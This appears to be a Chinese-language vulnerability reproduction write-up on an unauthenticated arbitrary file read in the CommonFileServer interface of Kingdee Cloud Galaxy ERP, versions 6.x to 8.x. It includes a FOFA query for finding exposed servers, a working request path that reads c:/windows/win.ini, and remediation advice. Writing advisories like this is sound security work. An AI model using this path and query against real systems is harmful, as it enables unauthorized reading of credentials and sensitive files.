金蝶云星空任意文件读取漏洞复现

前言

此文章仅用于技术交流，严禁用于对外发起恶意攻击！！！

---

一、产品简介

金蝶云星空是一款云端企业资源管理（ERP）软件，为企业提供财务管理、供应链管理以及业务流程管理等一体化解决方案。金蝶云·星空聚焦多组织，多利润中心的大中型企业，以 “开放、标准、社交”三大特性为数字经济时代的企业提供开放的 ERP 云平台。服务涵盖：财务、供应链、智能制造、阿米巴管理、全渠道营销、电商、HR、企业互联网服务，帮助企业实现数字化营销新生态及管理重构等，提升企业数字化能力。

二、漏洞描述

由于金蝶云星空CommonFileServer接口处权限设置不当，未经身份认证的攻击者可以利用此漏洞访问服务器上的任意文件，包括数据库凭据、API密钥、配置文件等，从而获取系统权限和敏感信息。

三、影响范围

6.x版本、7.x版本、8.x版本

四、复现环境

FOFA：app=“金蝶云星空-管理中心”

五、漏洞复现

直接在/CommonFileServer/路径后面拼接文件名就可以下载文件

你的ip/CommonFileServer/c:/windows/win.ini

六、修复建议

1.关闭互联网暴露面并设置目录权限
2.过滤恶意字符
3.限制文件访问类型

参考链接

https://blog.csdn.net/qq_41904294/article/details/132030706?spm=1001.2014.3001.5502

---